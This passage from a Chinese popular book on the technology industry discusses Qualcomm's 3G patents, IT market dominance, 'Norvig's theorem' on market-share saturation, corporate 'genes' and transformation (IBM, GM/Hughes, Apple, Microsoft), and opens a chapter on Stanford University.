30% ，而且是最关键的专利（具体数字不是很准确，大致在这个范围）。欧洲以诺基亚公司为首的工业界也拥有大量 WCDMA 的专利，它们联合了高通公司的竞争对手博通公司（ BroadCom ）试图挑战高通的权威。高通公司采用擒贼擒王的办法先制住诺基亚，和后者打了很多年专利官司。最后，高通公司威胁不再做 WCDMA 的芯片，这样它将以WCDMA专利的净拥有者身份阻止诺基亚进入 3G 市场。这是一个两败俱伤的做法，但是高通公司输得起，因为它已经拥有了很大的 3G 市场，而诺基亚既不能绕过高通公司的专利进入 3G 市场，也不能从此放弃3G这个新兴的市场，它根本输不起。结果诺基亚不得不低头，今年七月二十五日，两家公司达成和解，高通公司将专利费做了下调。即使下调后，诺基亚仍将支付给高通公司巨额的专利费（细节没有公布，据估计诺基亚在今后十五年内，每部手机仍将付给高通几美元），高通公司从此将在WCDMA市场上唱主角。当天原本是高通公司公布业绩的日子，高通公司临时通知媒体业绩公布时间将推迟几小时，敏感的华尔街已经感觉到高通公司很可能搞定了诺基亚，股价在盘后大幅上涨。果然，几个小时后高通公司公布业绩时宣布了这个好消息，股价猛涨了近 20%。而它的竞争对手博通公司的股价则一落千丈，标志着整个行业挑战高通的失败。虽然在欧洲、日本和中国，各自的手机厂家和运营商占有先天之利，但是其 3G 无线通信至今依然在高通公司的阴影下运作，因为后者的标准已经成为行业普遍遵守的规则。中国政府已经投入了数千亿人民币扶植自己的标准，但现在看来阻止高通主导中国市场的可能性微乎其微。除非欧洲、日本和中国的政府进行强制性干预，高通公司制定的 3G 的游戏规则将越来越强化。\n虽然微软在操作系统市场的优势和高通在 3G 市场的垄断是极端的例子，但是，即使在一般情况下，在一个成熟的市场上占有主导地位的公司仍然能独占 60-70% 的市场。在处理器市场上，英特尔一年有近 400亿的销售额，而第二名 AMD 仅有 60 亿。在网络设备市场上，思科销售额高达 400 亿，是它的对手华为（ 100 亿）和 Juniper （ 40 亿）总和的三倍。\nIT领域的这种特有现象，在传统工业中很难看到。在石油领域，尽管埃克森美孚（ Exxon Mobil ）每年有高达四千亿美元的营业额和同样高的市值，它在世界石油市场连10%的份额也占不到。在汽车工业中，无论是昔日的霸主通用汽车还是新科状元丰田汽车，近三十年来也从来没有占有过世界市场的 20% 。在金融、日用品、零售业等诸多领域也是如此。因此在这些领域并不存在一个主导公司，各个竞争对手之间应该说是各有千秋。\n为什么在信息产业的公司比传统工业的容易形成主导优势呢？这里面有两个关键的原因。首先是不同的成本在这两种工业中占得比例相差太大。传统行业研发成本低，但各种制造成本和销售成本是非常高的。研发成本可以通过规模经济来抵消，而制造成本则不能。传统工业扩大一千倍生意通常意味着同时增加几百倍的成本。以石油工业为例，最主要的成本是获得油田的成本。由于地缘政治的影响，美国的埃克森美孚公司获得俄国油田开采权的成本要比英国石油公司（ BP ）和英荷壳牌（ Shell ）高得多。因此埃克森美孚到一定规模后进一步扩展的成本就非常高。在汽车工业中，制造成本（还不包括研制、市场和销售）占汽车售价的一大半，即使销售额增加了一倍，也提高不了多少利润率。总的来讲，一个汽车公司要扩大一倍营业额，基本上意味着公司规模要扩大一倍，建大一倍的工厂，雇多一倍的人。这时公司就不可能有它规模小的时候效率高，利润率甚至可能下降。因此它扩张到一定规模后也会慢下来。\n科技领域则大不相同，制造的成本只占营业额的很小一部分而研发成本占大多数。对微软和甲骨文来讲，制造一份软件拷贝的成本和一百万份没有什么区别。因此，这两家软件公司的毛利润率高达 80% 以上。即使是以硬件销售为主的思科公司和英特尔公司，毛利润率也高达 60% 和50% 。而在传统行业的通用汽车公司GM，2007年的毛利润率不到10%，就连世界上效益最好的丰田公司也不过 15% 左右。如果单看毛利率，科技公司的利润率可以用“惊人的暴利”来形容了。但是，科技公司的产品研发成本摊到每个产品上并不低。如果能扩大一倍的市场，就能将这部分主要的成本降一半。这时候一个科技公司并不需要更多的雇员，效率依然保持不变，总的利润率就上去了。\n虽然生物制药公司和信息科技公司一样有着低制造成本的特点，但是世界上没有一种万灵药能治所有的病，甚至对于同一种病也不存在一种药能医治所有的人，因此就有很多大的生物制药公司并存。它们每个公司专门研制针对不同疾病的药物。因此前面所讲的主导性的公司在生物制药领域并不存在。\n其次，信息产品的生态链各环节之间的耦合性非常强。一个个人计算机用户一旦使用 Windows，在上面安装了各种软件。即使一个竞争对手推出了十倍好用的操作系统，他也很难转而采用新的操作系统。同理，一个大公司或者政府部门，一旦选择了微软的操作系统，就很难放弃。当一个操作系统开始在市场上领先竞争对手，在整个生态链中它的下家就越来越多，在其操作系统上可用的软件就越来越多，使得其他孤军奋战的竞争者很难赢。这样主导的科技公司就很快占领了全球市场。在传统工业的生态链中，这种耦合关系非常弱。一个汽车公司这一次选择了米其林（ Michelin ）的轮胎，下次完全可以选择火石（ Firestone ）的。而对于客户也是一样，某运输公司这次买了一批福特的汽车，下次如果通用的好，它可以马上换成通用的。\n再次，不同用户对传统商品比如汽车的品味不同，对性能的要求也不同，使得它很难做到赢者通吃。一百年前，亨利福特试图用一种汽车（T型车）统一市场，事实证明这是行不通的。即使是日用品，有人喜欢强生（ Johnson & Johnson ）的，有人喜欢保洁（ P&G ）的，因为它们不太可比。对于科技产品，虽然不同公司的同类产品可能有所不同，但是，这些区别不足以左右主流用户的选择。对于主流的用户来讲，科技产品的性能指标是硬性的，好就是好，不好就是不好。因此基本的功能、合理的价钱和良好的服务是他们选择一种科技产品的原则。没有人在意思科的路由器和华为的路由器哪个外观更好看，也没有多少人清楚微软的制表软件和莲花公司的有多大区别。这使得科技公司很容易做到强者愈强，直到赢者通吃。\n信息科技公司通常用很短的时间就达到了传统公司半个世纪才能达到的市场规模。英特尔和微软从上市起用了十年的时间确立了它们在微机领域的霸主地位，并达到百亿产值，而思科上市后只用了五年左右的时间就主导了网络硬件的市场，并达到百亿产值。Google 更是在上市的第二年就超过了雅虎一跃成互联网的老大，第三个年头就进入了百亿俱乐部。\n虽然理论上讲，取得市场主导地位的公司可以通过恶意竞争和收购几乎百分之百地占领一个市场，但是当它占到 60-80% 的市场时，它的扩张基本上就到头了。这里面固然有作为第二名（和第三名）的公司在某个局部领域（ Niche Market ）做得比主导公司好的原因，比如苹果的图形界面和动画制作软件对艺术家来讲远比微软的同类产品好，更主要的是各大科技公司自觉遵守的风险控制原则和美国联邦政府对商业垄断行为的严格限制。\n作为一种技术产品下家的公司，比如惠普和戴尔是英特尔的下家，为了保证自己的长期货源不会被一家公司所垄断，通常会按一定比例同时采购两个上家的产品，即使一个上家给出的条件比另一个好。因此，我们看到惠普、戴尔和联想等公司总是既卖采用英特尔 CPU 的计算机，也卖 AMD 的。有些时候，一种产品无法同时选用两个公司的器件，比如苹果的 iPhone 每一代只能有一种处理器芯片。这时，公司就会在这一代产品中选某个供货商的，下一代选它竞争对手的。大部分公司和政府部门在大宗采购的选型中，常常是这一次选择公司甲的（比如思科的），下次选择公司乙的（比如 Juniper 的）。\n当一个主导公司非常强势，上述方法也无法阻止其垄断的形成时，竞争对手只好求助于美国的司法部和欧盟的反托拉斯委员会出面解决问题了。因此，聪明的主导者会让出一些市场给第二、三名，以免惹上反垄断的麻烦。通常 70% 是一个魔法数字。一个主导者愿意强调自己是行业的领导者，这样可以给投资者和用户信心，但是永远会否认自己有垄断地位，以免给自己找麻烦。它们在提交到证监会和其它政府部门的官方文件中甚至会列举一些小的不能再小的竞争对手，表示自己在公平竞争。比如微软在 2008 财政年度的年报中，居然把盈利只有它二百分之一的 Earthlink 公司（估计 99% 的中国读者都没听说过这家小公司）列为它的竞争对手写入到它给证监会的文件中。\n这样，在多方面扶植下，尤其是IT业界人为的帮助下，扶植出一个能稍微制约主导公司的老二（或者还有老三），它甚至可能占到 20 - 30% 的市场。再剩下的一点市场就给众多小公司去瓜分了。\n读者们也许已经在思考：当一个主导公司一直占领某个市场 70% 的份额，并且对第二名保持一定优势时，它岂不是将这个市场变成了它的万世基业了么？实际情况并非如此，随着产业的变革，一个主导公司不可能靠着吃老本而成为百年老店。在道琼斯工业指数中最早的三十家公司，现在只有五六家还在今天的三十家列表中。在科技工业领域，一些内在的规律加速了它的新陈代谢。\n14.2 诺威格定理\nGoogle 研究院主任、美国计算机协会（ACM）资深会员（Fellow，中文有些地方翻译成会士）、人工智能专家彼得·诺威格博士（Peter Norvig）讲，当一个公司的市场占有率超过 50% 后，就无法再使市场占有率翻番了。这几乎是任何人都懂的大白话，但是却道出了许多跨国公司兴衰的根源。\n和人一样，一个公司也有成长的青少年期、稳定的中年期和衰退的老年期。当一个公司刚刚兴起时，它很有朝气，又有领先的技术，市场占有率却很小。整个世界对它来讲几乎是无限大，它只要干好自己的事，就能不断占领市场，以几何级数成长，根本不用担心成长的空间的问题。用辛弃疾的话讲，就是少年不识愁滋味。但是，当它占领了大部分市场时，它的成长就受制于整个行业的发展了。而华尔街依然期望着这个新兴公司不断创造奇迹。这时候，该公司就必须寻找新的成长点，才能不断超越华尔街的预期，公司就不得不天天为营收忙碌（如果达不到预期会怎么样，我们以后会谈到它的严重后果）。和传统的工业不一样，一个科技公司非常容易早熟，可能用不了几年就成长到饱和状态。\n让我们通过 Google 的例子来看一看科技公司达到饱和状态是多么的快。在山景城 Google 总部四十二号大楼二楼的墙上有一张一米高、几米宽的大图，它是参观 Google 必看的一景。图上画的是从 1999 年以来到 2004 年 Google 上市时为止 Google 搜索流量的增长。那是一张非常漂亮的以几何级数增长的曲线。图上横向是时间，纵向是搜索量。从 1999 年到 2000 年，搜索量增加了十倍，曲线的顶部就要突破了纸的高度，因此不得不将曲线的比例缩小十倍。但是，很快，几个月翻一番的增长速度又使得曲线不得不此按比例再缩小十倍，如此几次，直到 2004 年 Google 上市后不能再公开自己的流量为止。\nGoogle 刚成立时每天只有几万次的搜索量，这个数量即使涨一万倍也不会对市场有很大影响。拉里·佩奇亲口对我们讲，他最初的梦想不过是把 Google 办成一个盈利上亿美元的公司。但是，Google 的发展比佩奇自己的梦想还要快得多。Google 成立后没有多长时间，搜索量就涨了上百倍，达到百万级。当时Google主管工程的副总裁乌尔斯·霍尔茨（Urs Hoelzle）还专门发了封庆贺的Email。当时 Google 只有个位数的服务器，霍尔茨需要自己监管这些服务器。没过两年，Google 的搜索量又长了百倍，Google 自己也长成了一个婴儿巨人（Baby Giant）。到 2002 年，它不仅成为世界上最流行的搜索引擎，而且同时为世界上最大的两个门户网站雅虎和美国在线提供搜索服务，估计占到了全球流量的一半。在 1998 年到 2002 年这四年间，Google 的增长主要靠抢占市场份额而获得。但当 Google 签下了和美国在线的搜索合作合同后，全世界几乎就剩不下大的市场份额可以占领了。这时，新加入 Google 不久的诺威格指出了上述朴素而又经典的定理。所幸的是，Google 的整个管理层已经未雨绸缪地看到了危机。Google 从搜索广告进军和内容相关的网络广告（Ad Sense for Content）就是从那时开始的。今天，后者的营业额已经占到 Google 整个营业额的三分之一。\n今天，刚十岁的 Google，在全球搜索市场的占有率已经超过了 50% （根据 Comscore, Nelsen 和 Hitwise 等第三方公司的提供的数据）。Google 从搜索业务带来的营业额的增长很大程度上已经受制于整个互联网上商业的增长。Google 的增长率也由早年的每年翻番，到前年 2006 年的 70%，去年 2007 年的 50% 和今年统计到第二季度的 30%。因此，这个时候像 Google 这样的公司发展的关键是开拓新的增长点。\n对于在一个全球某个领域占主导地位的公司来讲，如果不能较早地预见到市场的饱和性（或者回避这个问题）是很危险的。当年朗讯公司已经占了美国程控交换机市场的大半江山，它依然梦想着在这个已经开始萎缩的市场上做到快速成长。这当然是不可能的，朗讯公司采用回避问题的方式，自己创造出一个实际上并不存在的虚拟市场：它将设备卖给根本还不上钱的公司。从短期效果看，朗讯公司向外公布的营业额上去了，虽然一大笔钱还只以应收款项出现在它的财务报表上，实际并没有进账。但是当 2000 年后这些钱真的收不回来的时候，朗讯公司就彻底垮掉了（同样的错误非科技公司也会犯，以世界第一大银行花旗银行为首的金融公司为了达到高速成长的目的，贷款给根本无法还贷的客户，导致几千亿美元的贷款成了坏账不得不报亏损，而且这个黑洞至今看不到底）。\n诺威格定理决定了在一个市场占有主导地位的公司必须不断开拓新的财源，才能做到长盛不衰。到目前为止，开拓新的财源有效的途径只有两条，而胡乱的尝试倒有无数多种。被证明是可行的途径包括“扩展”（Leverage）现有业务和转型。Google 从基于搜索的 Adwords 广告扩展到基于内容的 Adsense 广告，微软从操作系统软件 Windows 扩展到应用软件 Office，都属于成功的扩展。而 GE 从一个电器公司转型到一个传媒和金融公司则是成功的转型。扩展适用于在自己特定的领域的业务趋向于饱和，而更大的相关领域还有很大扩张空间时，比如搜索广告趋于饱和，而整个互联网广告市场的潜力依然很大时，才有扩展的可能。后者适合于整个大的行业发展已经饱和，扩展的空间已经不存在时。\n扩展是一个公司把它现有的技术和商业优势用到相关的市场上去。我们不妨再以 Google 为例看一看一个成功的公司如何通过扩展的办法来摆脱诺威格定理的宿命。Google 在广告业的技术优势是它的广告系统投放准确率好而且高度自动化，它的商业优势在于它是全世界最大的广告商网络之一。有心于 Google 动态的读者可能已经注意到，Google 在两年前收购视频网站 YouTube，一年前收购可用于 YouTube 广告的双击公司（DoubleClick）。与此同时，Google 于2007年牵头成立了基于开源 Linux 的手机联盟，代号为 Android。所有人都看出这是 Google 将业务从互联网扩张到手机的信号。有些评论认为 Google 这几年没有专注自己的核心业务，过于注重扩张。但是，如果仔细分析就会发现 Google 的扩张实际依然围着互联网广告业务进行，而且从技术上讲，无论是 YouTube 上的视频广告，还是手机上相应的广告，都还只是 Google 现有技术在相邻领域的推广。Google 的广告投放技术既然能用于互联网，改造后就有可能用于传统媒体。Google 已经有了众多的广告商，他们以前通过 Google 在互联网上做广告，以后也有可能通过 Google 在传统媒体和新的工具（比如手机）上做广告。显然，Google 的所做所为没有超过原有的广告工业。它并没有致力于像 Apple 那样开发消费电子产品，或者经营 NBC 那样的传统媒体。扩展的前提是相近领域有可扩展的空间，Google 的情况正好符合这个前提，所以它采取扩展的策略。\n在工业史上，这种成功的扩展非常之多，比如微软从微机的操作系统软件扩展到微机的应用软件，惠普从小型机扩展到微机，迪斯尼从少儿动画片扩展到传统影视和娱乐等等。扩展可以最大程度地利用公司原有的经验和优势，使得它们在新的领域很快地站住脚。但是，当一个行业已经进入老年期，无从扩展时，这个领域领头的公司要想继续发展甚至只是生存，就不得不转型了。\n转型做起来要比扩展难的多。在工业史上，转型失败的例子比成功的多很多。首先，转型的大方向就不容易找。其次，即使转型时找准了方向，但是在执行过程中失败的可能性仍然很大。在失败的例子中，最经典的例子是美国通用汽车公司向电子和航空领域失败的转型。\n大家都知道通用汽车公司是美国最大的汽车公司，占美国一半以上的汽车市场，并且在半个多世纪里一直是世界上销售额最大的公司，直到近二十年开始走下坡路为止。但是，可能很少有人知道通用汽车公司在电子和航天领域一度有过比较成功的经历，并且一度是全球卫星制造业的领头羊，因为通用汽车的这些部门今天已经不存在了。在很多美国读者可能家里使用的是 DirecTV 的卫星电视服务，这是美国乃至全球最大的卫星电视网。而 DirecTV 过去不过是通用汽车电子部门休斯电子公司下面的一个部门而已。\n进入上个世纪八十年代以后，美国的汽车工业几乎无发展可言了。不用说高速成长，就连维持现有的利润都成为奢想。一九八五年，还没有江河日下的通用汽车迈出了正确的一步，以五十亿美元的价钱成功地收购了休斯航空公司（Hughes Aircraft），并和自己的电子部门德尔克电子公司（Delco Electronics）合并成休斯电子公司。休斯电子公司很快成为了全世界卫星制造和卫星通信的龙头老大。年长的读者也许记得，1990 年中国长城运载火箭的第一次商业发射就是为休斯公司发射了亚洲一号通信卫星。从此以后，中国长城运载火箭多次将休斯公司为世界各国制造的卫星发射升空。从九十年代起，休斯公司一直是通信卫星制造的全球主导公司之一。1994 年，休斯电子公司推出了卫星电视服务 DirectTV，并在合并了泛美卫星的电视服务后，成为全球最大的卫星电视服务商。同时，休斯公司还是美国四大雷达制造商之一（其余三家是洛克希德．马丁、雷神和诺思罗普·格鲁曼），因此经常收到美国政府和军方的大额订单。除此以外，休斯公司还是世界上最大的企业级卫星通信服务业务的提供商，它的客户包括沃尔玛等众多跨国公司，这些公司为了实现全球各部门之间的通信，采用休斯公司基于卫星通信的服务。毫无疑问，当通用汽车公司自己的业务陷入困境时，休斯电子的业务却蒸蒸日上。\n九十年代后，美国汽车制造业受到日本公司（主要是丰田和本田）的冲击，江河日下。这本来正好是通用汽车公司出售汽车品牌（比如它的卡迪拉克当年还是很值钱的品牌），转型到电子和航天领域的好时候，但是，通用汽车却做出了相反的决定，不断出售赚钱的电子部门，用获得的现金来补贴它毫无翻身希望的汽车制造，这无异于杀鸡取卵。一九九七年，通用汽车将休斯公司的国防工业部门，包括飞机和雷达技术部门卖给了军火商雷神公司（Raytheon），2000 年，又将卫星制造业务卖给了波音公司，从此，我们就再也没有听说长城火箭发射休斯卫星的新闻了。2003 年，通用汽车将休斯剩余的部门包括最大的业务 DirectTV 卫星电视卖给了默多克的新闻集团（News Corp），作价仅二百亿美元。至此，通用汽车从世界卫星和通信技术领域彻底消失了。\n新闻集团收购休斯公司后，只留下了 DirecTV 卫星电视服务，而将其它一些小电子部门，包括为企业提供卫星通信服务的休斯网络系统陆陆续续地卖掉。然后将 DirecTV 重新上市，现在仅这一部分市值就高达三百多亿美元，而且盈利可观。而通用公司自己，经过了几次输血，仍然不死不活，现在市值只有不到六十亿美元（今年第二季度亏损了一百五十亿美元），也就是当年它子公司休斯电子一个部门 DirecTV 今天价值的五分之一。通用汽车失败的根源在它根深蒂固的思维方式：它一直认定自己是个汽车公司，一定就要以汽车公司为主。这好比在围棋盘上，通用汽车有一条经营了很长时间却已经没有气的大龙，和一片布局完美可扩展空间大的实空，通用汽车总是舍不得牺牲掉自己经营多年的大龙而错误地放弃前景看好的实空，最后满盘皆输。\n成功的转型是失之东隅、收之桑榆，比如通用电气就经常干这种事。在这种乾坤大挪移的过程中，一个公司的根子或者说基因需要改变。而改变公司的基因和改变人的基因一样困难。我们在下一节中会介绍基因决定定理，我们可以看到一个公司的基因几乎决定了它转型的失败是必然的，成功反而是偶然的。当然，这些奇迹却又总时不时地发生。\n一个公司开拓新财源失败的尝试多如牛毛，我们也就不一一列举了。最常见也是最糟糕的情况是，一个公司找不到新的市场，眼睛只局限于现有市场，而且总觉得别的公司盘子里的蛋糕比自己的大，以自己的劣势去争夺别人盘中之餐。就好比国际象棋冠军卡斯帕罗夫想在高尔夫球场上战胜老虎伍兹一样，成功的可能性微乎其微。由于精力分散，这些公司有时反而可能丢掉了自己的优势。一旦大的经济环境不好，公司的扩展会全部失败，甚至丢掉了自己的基本盘导致破产。\n每当我们回过头来评价一个公司兴衰时，我们并不难找到原因。但是，作为当时的决策当事人，在当时的环境中很难做出完全正确的判断。即使看清了方向，也常常很难执行自己的意图。为什么一个公司转型就那么难呢？\n14.3 基因决定定理\n对上一节最后一个问题，最好的答案就是四个字“基因使然”。当我在前面的章节提到基因对一个公司发展的决定作用时，一些读者觉得我是在宣扬宿命论。遗憾的是，现实是很残酷的。一个公司可以不相信基因的决定性，但是最终无法摆脱它的影响。\n我和李开复以及许多优秀的管理者探讨过为什么一个公司进入成熟期以后，很难在新的领域获得成功。最后的结论是，一个在某个领域特别成功的大公司一定已经被优化得非常适应这个市场，它的文化、做事方式、商业模式、市场定位等等已经非常适应，甚至过分适应自己传统的市场。这使得该公司获得成功的内在因素会渐渐地、深深地植入该公司，可以讲是这个公司的基因。当这个公司在海外发展分公司时，它首先会将这基因带到新的地方，克隆出一个新的公司。微软在中国的分公司一定还是微软的风格，中国的谷歌一定继承了 Google 的文化。同时，它们又都像美国公司，而不是日本公司。类似地，当这个公司开拓新领域时，它也会按照自己的基因克隆出一个新的部门。遗憾的是，适应现有市场的基因未必适合一个新的市场。\n当一个公司还没有占到市场的 50%，并且在高速发展时，它不会涉及到转型的问题。一个非常成功的跨国企业需要转型时，都是在它的发展非常成熟以后，就好比人到了中年。这时，一个公司和一个人一样，改变起来是非常困难的。尤其当它涉足一个过去它不熟悉的领域，就好比一个已经养尊处优的四十岁的人重新走入课堂去和一群二十岁的年轻人一起从头开始读书，学习起来比没有负担的年轻公司要难得多。更何况，年轻的公司没有退路只有向前进，而成熟的公司总有它传统的业务可以依赖，一旦遇到问题就可能退缩。\n我们在“蓝色巨人 IBM ”一章中提出，以大型机、系统和服务为核心的 IBM 公司很难在 PC 机市场成功。当 IBM 继苹果之后推出 PC，当年就卖出十万台，实现销售额一亿多美元左右，并实现盈利，这在商业史上是空前的成功。但是，这一亿多美元还抵不上 IBM 接几个花旗银行计算机系统的合同。IBM 的商业模式是将长期的服务捆绑到系统销售中，至今依然如此。应该讲，IBM 的商业模式是一个很好的模式。但是，习惯于这种一劳永逸商业模式和市场的 IBM，很难像推销家电那样辛辛苦苦地推销个人计算机。在 IBM 公司内部，负责大型计算机业务和银行软件业务的部门的销售额和盈利几乎在所有年头都占 IBM 的主要部分，这些部门在公司内部的发言权要比 PC 部门高得多。不要以为成功的跨国公司内部是铁板一块，大家都是为了公司的利益，实际上大公司内部为了部门的利益也时常争得你死我活。如果 IBM 公司将重点转移到 PC 上，首先在公司内部就通不过。在对外竞争上，IBM 早期主要的竞争对手康柏无退路可言，只好全力以赴去拼搏。而 IBM 在 PC 机市场上每遇到一点挫折就退回来一点，发展顺利时就往前多前进一点，如此反反复复。好在 IBM 的 PC 业务和它的核心业务并不冲突，因此，它的 PC 部门才得以一直存在了二十多年，直到前几年卖给联想。\n一旦新的业务和公司传统业务冲突时，一些公司甚至会牺牲掉新的业务。我的一位邻居原来是贝尔实验室一位资深的科学家，他给我讲过一个发生在贝尔实验室里面很荒唐的故事。几十年前，贝尔实验室的一个小组研制出一种传真技术，比当时世界上最快的传真机传真速度还快十倍，但是这个项目居然被停掉了。原因是 ATT 认为它会使得自己的话费业务收入下降。显然这个小部门的主管在 ATT 里面的发言权无法和电话服务部门的人相比。今天，美国整个传真机市场由日本公司垄断。这个例子当然是比较极端的情况，但是，这一类事情当年在 ATT 内部确实非常多。即使今天，我们依然能在其它公司看到类似的情况。\n很多读者问我为什么微软的 MSN 部门十几年了还不能盈利，而 Yahoo 和 Google 都没用几年就开始盈利而且发展得比 MSN 好。这其中的根本原因是微软的商业模式是以出售客户端软件为主，不适合互联网那种以广告收入来提供免费服务的新的商业模式。和 IBM 的情况不同，免费的服务和微软的商业模式相冲突，可以想象，如果微软把它的 Office 软件免费提供出去，它的业绩马上就一落千丈。不但它自己内部的 Office 部门不会愿意，就连华尔街也不会答应（我们在以后的章节会介绍华尔街对上市公司业务的间接但是巨大的影响）。作为投资者，华尔街最希望看到的是 IBM 安心做它的系统和服务，微软老老实实卖 P C软件，Google 和雅虎来负责互联网。全世界这些领域的商业规模基本上是个常数，互相争来争去只有各家利润变薄，股价下跌。在微软内部，MSN 的发言权相比它的操作系统部门和办公软件部门的发言权低得多。为了解决这个问题，微软去年将 MSN 划归最有权威的操作系统部门，但是随着这两个部门的最高执行官凯文·约翰逊跳槽到 Juniper 当 CEO，微软又将把它们分开。很难想象 MSN 新的掌舵人在微软内部的发言权能超过操作系统和 Office 部门的领导。\n同一个市场在不同的公司眼里是完全不同的东西。个人微机在苹果公司的眼里和在微软的眼里完全不同。严格地讲，苹果其实不能算是一个计算机公司，而是一个注重创新的消费电子公司。在苹果眼中，计算机不过是新的电子产品的一种，当然苹果要把它做得越新、越酷越好。在这个前提下，苹果公司为工程师创造一个宽松的环境来鼓励创新，其产品经理重视产品的品位。这些都是苹果基因中好的部分。当然，任何事情都是两方面的，过于宽松的环境可能造成许多无谓的探索，做了很多对用户没有帮助的事。只注重产品的时尚，可能忽略用户的基本需求。一个典型的例子就是苹果的一键鼠标，虽然很酷，但是毕竟没有微软的两键/三键鼠标好用。上个世纪八十年代，当麦金托什已经做得非常好、领先运行微软 DOS 的 IBM-PC 机整整一代时，乔布斯领导下的苹果仍然还在想方设法地在上面加功能，最后把当初世界上最好的 PC 机麦金托什搞得越来越封闭，使得它在和微软的竞争中差点死掉。而盖茨对 PC 机的理解和苹果完全不同，在他看来计算机是一种改变人们生活的工具，并且把“让计算机普及到每一个家庭”作为自己的使命，所以微软关心的是如何让产品改变人们生活。对微软来讲，功能比时尚更重要，因此它开发 Windows 的过程是一个严格的自顶向下的过程。一个大的团队负责一组菜单里的功能，里面每一个小的团队负责其中一个功能。在这种严格的分工下，人的创新就受到限制，但是却保证了产品朴实无华、能按时开发出来，能满足用户的需求。\n一个公司的产品和服务可能随着市场的变化不断改变，但是公司的基因却很难改变。也许会有读者认为苹果从 PC 机，到 iPod，再到 iPhone 已经成功地转型了，苹果的基因变了。从表面上看确实如此，苹果公司变化了很多。但是它内在的地方一点也没有变。虽然从 PC 到 iPod 再到 iPhone 完全是不同的市场，但是苹果的商业模式一点都没有改变。作为一个富于创新的消费电子公司，和其它同类公司一样，硬件、软件必须作为整体一起出售，不能拆开卖，软件的价值必须通过硬件的销售而实现。所以虽然苹果十几年前吃过自我封闭的亏，十几年后当苹果推出 iPod 时，它还是相对封闭的产品，它必须用苹果自己的一套 iTune 软件才能从 PC 上将音乐和视频装到 iPod 中。到今天，苹果又推出了全世界最酷的手机 iPhone，仍然是一个封闭的系统。有读者问我，既然 iPhone 操作系统的核心也是开源 Unix 的，为什么它不搞一个开放系统的手机联盟？原因很简单，因为这不是苹果的商业模式。苹果的基因决定它必须通过硬件挣软件的钱。创新是苹果最关键的基因，否则它存在的意义就不大了。至于在什么地方创新，苹果并不关心。只要在 PC 机上还有创新的余地，它就不会放弃这个市场。它从两年前推出的 iMac 桌面一体机，到今年推出的 MacBook Air 超薄笔记本，无一不是让人耳目一新产品。因此，苹果还是苹果，它不因为做了 iPod 就变成了 Sony，做了手机就变成了诺基亚。\n最近，随着 Google 基于 Android 开源操作系统的智能手机问世。世界上最大的手机厂商诺基亚宣布它可能会开放它智能手机的操作系统 Symbian。但是，我个人预测诺基亚这件事做不成，或者说做不彻底。它会开放一些源代码，目的是让别人为它做软件，而不是帮助别人做兼容诺基亚的手机。因为选择后面这条路，就断了它自己的财路。诺基亚和微软不同，后者本身不做手机硬件，靠单纯卖手机操作系统挣钱，世界上采用它的操作系统的手机商家越多越好。诺基亚在手机领域相当于二十年前苹果在微机领域一样，归根结底还是要靠手机本身挣钱，别的牌子的手机卖多了它自己的就卖少了。这也是由于诺基亚作为手机厂商的基因使然。Google 则不同，它从来没有想去挣硬件的钱，而只是希望人们通过硬件来使用它的搜索。因此，它希望采用它的 Android 手机操作系统的制造商越多越好。由于诺基亚和 Google 的基因不同，商业模式不同，在手机领域的做法就会不同，当然最后的结果也会不同。\n在 IT 领域内部转基因尚且如此之难，从非 IT 领域进入 IT 领域更是难上加难。我们现在很好理解为什么通用汽车公司始终摆脱不掉“发展汽车工业”这一个固定的思维模式了。虽然在八十年代通用汽车进入电子和通信领域后已经有了一个很好的布局，却不可避免地陷入自己给自己套的紧箍咒，无法自拔。\n一个公司的基因并不向人的基因那样（在显微镜下）看得见摸得着。它是一个公司在市场竞争中进化出来的适应该市场的企业文化（做事方式）、管理方法、产品市场定位、商业模式和营销方式等等。一个公司在早期，一切还是一张白纸的时候，其基因还有改变的可能。红杉风投认为一个公司的基因在创办的一个月内就定型了，这也许有些夸张，但是一个成型的公司改变基因的可能却是非常小。越是以前成功的公司越是容易相信自己固有的基因是最优秀的。\n公司的基因的决定作用如此之大，使得很多跨国公司都无法通过改变基因来逃脱诺威格宿命的厄运。这其实对整个工业界乃至我们这个世界是一件好事。就像自然界的任何事物都是从生到死不断发展的一样，一个公司、一个产业也应该如此。人类的文明和技术是不断进步的，旧的不去新的不来，只有清除掉阻碍我们进步的那些庞大的恐龙，才能为人类提供新的发展空间。从这个角度讲，一个昔日跨国公司的衰亡，也许是它为我们这个社会做的最后一次贡献。\n当然世界之大必然能够出现一些成功改良自己基因，并成功转型的公司。我们在后面的章节中会介绍诺基亚如何从一个木工厂变为全球最大的手机厂商，通用电气如何从一个电子公司变成一个以银行业为主的跨行业的商业巨子，以及 3M 公司如何成为一个综合领域的常青树。\n结束语\n在一个新的信息技术产业刚刚形成时，它总是有多个可以互相抗衡的竞争者。但是，一旦有一家主导公司出现，它就可能成为该行业游戏规则的制定者，并把它变成在商业上难以抵消的优势，迅速占领全球市场。在信息工业产业，这个过程通常比我们想象的快得多。但是，一旦一个公司占有全球一大半市场时，它就不得不寻找新的成长点。而这时的跨国公司已经不是当年那个朝气蓬勃的公司了，它固有的基因使得它的转型十分艰难。如果它能够幸运的转型成功，它将再次获得新生，否则就会被技术革命的浪潮淘汰。\n科学技术无疑是我们这个时代推动社会前进的主要动力。一次次技术革命的浪潮造就出站在它的浪尖上的成功者，埋没掉赶不上大潮的失败者。\n第15章 高科技公司的摇篮：斯坦福大学\n硅谷的兴起很大程度上是靠斯坦福大学多方位的支持。很多当今世界上 IT 领域的领头公司都是由斯坦福大学的学生和教授创办的。它们包括惠普公司、思科公司、太阳公司、雅虎公司、Google（谷歌）公司、英特尔公司、制造处理器和工作站的 MIPS 和 SGI 公司、世界最大的显卡公司 Nvidia、世界最大的视频电话会议公司 Webex 等，另外在非科技领域还有著名的耐克（Nike）公司。此外，微软的 CEO 史蒂夫·鲍尔默和前董事会共同主席 Jim Allchin 也毕业于斯坦福。斯坦福在商业界和科技界创下的这种奇迹是世界上任何其它的一流大学都无法比拟的。为什么斯坦福大学能创造这样的奇迹呢？这要从它的发展、它的文化说起。\n15.1 